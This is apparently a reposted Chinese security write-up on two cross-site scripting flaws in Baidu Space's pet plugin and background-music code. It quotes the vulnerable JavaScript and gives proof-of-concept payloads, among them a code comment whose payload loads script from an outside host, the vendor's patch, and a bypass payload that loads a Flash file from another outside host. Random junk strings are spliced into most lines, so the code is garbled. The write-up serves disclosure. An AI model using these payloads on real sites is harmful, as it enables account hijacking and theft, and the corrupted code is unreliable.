百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
' j) p. U/ U1 e4 p; x8 K8 G* m9 e& |2 B
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
@; c% a3 w( S5 s4 E% V2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
7 e- f: L! r2 U2 a7 D
' i# s% m- I m! i# `& \( ?- `将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 3 C7 K$ ]9 u- O9 p
其中BdUtil.insertWBR为 + A+ b" L1 _; T( E: [( f
function(text, step) {
$ Y) P: r% J) T, J var textarea = textAreaCache || getContainer(); $ w: Z; a' s& q5 \6 a; |7 K
if (!textarea) { ' t8 E) y6 g- }4 F% E
return text;
; u- O `; L2 B9 U }
; K# h0 K( S5 A( P) V/ Y5 m textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); * B- j; X* a9 \3 E* g
var string = textarea.value;
- _6 J: o0 X! N var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); + x1 a9 R8 D7 u6 U) P) r% |$ `
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
) u: H. X- k$ d2 v4 O; w3 s return result;
' ~0 c+ N/ A$ o/ v1 O9 P) B! I$ E} / A& z/ \. k; B5 |* ?5 \
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. " r I- O& ?8 E, Y" L
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> ' m* X: b" B, ?2 U
6 |0 v/ v5 T: }+ J' m二:creatbgmusic() Dom-Xss Bug ! H5 q, ?( x! k$ L8 Q( U
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 ! q0 U+ T) g. p4 W# m0 ~! P) {( Q0 t
* ]0 E6 U6 Q) R7 Y' E; W% N
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: $ p {0 |8 N9 \# K, P+ Y+ ^1 {" a
y; n- t; W1 \3 e: nfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
, V# t. V' s9 ^3 L( @0 S U/ X c //传入的murl赋值到bgmusic1和bgmusic2中
* J& k! x. V6 S% L3 n! i7 b3 [ //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 : c5 j4 }& E9 y% G' l, L3 o
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
/ ?+ X c; `# M4 t) t1 m if (musicnum <= 1) {
& w. L" S( l8 {2 s bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
4 b' ]) p1 u. p$ P S# _ }
. {* o9 F3 b1 l4 ? bgmusic1 += "</OBJECT>";
" q+ z, O# d# @- C: x% O2 [* O var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
5 H/ G& H! s6 ?5 k9 ~ if (musicnum <= 1) { 5 u8 t( I2 `: d3 Q) Y; s
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; , ^) Q3 A" U3 J& d
} $ j+ B0 O3 A h2 D) G7 _! ]' m
bgmusic2 += "> </EMBED>";
) O9 D) P6 P) ? var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; ' E- N- f/ g! l
var bgmus = detectWMP();
. _, m+ F7 I' j# w5 ` if (functype == "FckMusicHelper") {
d5 f. W& p% {- o3 C8 u/ ` if (bgmus.installed) { - e- v6 X# [9 h& J+ \
if (bgmus.type == "IE") {
9 \# z9 Q" X4 ] return bgmusic1; ' Q6 e( a5 B9 H, w
} else if (bgmus.type == "NS") { + ~. y1 T4 i' Z" N( E; [6 R" f
return bgmusic2; G$ v7 E* g3 g( Q: V& F
} $ b( h+ A( F* C+ U5 d1 _# P1 H
} else {
* f/ a' l5 W7 W. i" N6 B, @4 r5 t return bgmusic3; ! R2 u' ~3 T T3 v/ c( ^
}
" J" E7 n6 v+ r } else {
& _2 F- k1 t W/ o* P. Z. a: s; } if (bgmus.installed) { 8 \3 z" ?- }6 `% t( T; a* z1 v
//document.write 直接输出bgmusic变量 导致xss 1 P7 k1 L2 O1 N
if (bgmus.type == "IE") { + M& L$ e1 L1 N& i5 f0 j
document.write(bgmusic1); 4 i, h9 }# g" t3 R/ V& M: E/ E
} else if (bgmus.type == "NS") { 0 @- D1 Z9 C. L5 t
document.write(bgmusic2);
: q3 r4 I+ |2 m( h% F }
4 l! r! } t2 [: M: \* P( y" ] } else {
( p" U5 `$ X$ x9 w* E0 w document.write(bgmusic3);
+ I4 R1 S# \( _( n7 @ } / y. ], v: i) U+ @5 U4 G9 a; o, v
return ""; 2 l3 `: {1 a/ H/ W* i1 y
} 3 j ?; G9 r; V
}
& w( ]) N, n# ^& T+ M
n- t! c; g* q- c7 S' [! Z在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
) S( i0 R+ U1 e3 L( b" t7 l" [1 V2 z8 n9 G, z- _8 T% y- J$ ~
function initBlogTextForFCK(){
6 G3 ^' v2 D6 B4 b( a& ?//fck init music % @5 ?: B4 B; H2 b
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 7 b8 `7 }* g$ B& I) d, x5 N, X: x
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 2 V! v( P" E7 @; q2 s- o
var isAutoPlay=true;
3 P( U3 \4 J! `* [6 P" A, Efor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
! z5 [1 y; K( h var img=imgBox; ' _ K& u! w% j) [4 ~
if(img.getAttribute(’rel’)){
; }; ]. A: g5 V6 R var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
8 ]7 c* ]. p# v- U0 z var musicDiv = document.createElement("SPAN"); ! v& T/ b* N2 B" O) v3 H
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
. ?3 z" i" p0 z" v % ?4 M. |1 r: v2 O( M6 P* j
.......................... 7 P2 o8 S% |2 m: K. w0 m7 C: c
: H* q8 W& c4 c% [ //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 6 _, @4 A- ]+ E+ s7 [
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
. H% ~7 p" Q+ y& W shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
3 ?6 o+ {* f* L/ Y7 H musicDiv.innerHTML=shtml; , v4 z4 u) r9 s
i--;n--; / R$ ?* |& i- l1 [0 W
}
% x9 q8 H- v: _7 o$ G7 r1 ?} * I" b: }: o/ R/ p
, e7 \/ ?# a6 ]$ ^
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
! i3 F6 s9 J( a2 Q6 d
( C; H% ]+ {" k( [8 l9 @测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
) j& c$ F" {" r8 B1 H: \9 J; i9 ^3 Q. b& ~4 Y7 f- H
等待官方补丁 ( F9 M3 w# w( h- ?
9 M# ?8 s. Q, z$ U7 N4 Z( kupdate 2010年5月13日
% P" b" F* B& m7 q' l: U( K; J
官方补丁:
0 _4 w; o% `% d' d
6 H- W. t1 M- Z- lvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
4 I7 T! G: m3 n; p* j改为: ( m4 v- ~, p; B+ L
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); a" X% z( ?+ |6 R9 W
$ ~! E& W& u4 V K) O2 ]3 l& T5 ]& q
update 2010年5月13日 21:50:37 / B8 h8 q% ?' r
& @2 K9 G4 M; G: D) B
补丁存在漏洞 没有过滤" 可以继续跨: & z* _& x X# [* P; W8 M1 P
6 L% Y* m) V, PNEW POC: / i- F1 }9 n. t$ ^' O- m
" Z; P, R$ \$ k# T+ s<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
( U. \$ S6 P! i( \
. l2 f( l3 W! u4 {- ~, Uallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>4 s4 `3 p4 W1 D- ?
0 i2 b$ n# I! @2 G4 x
|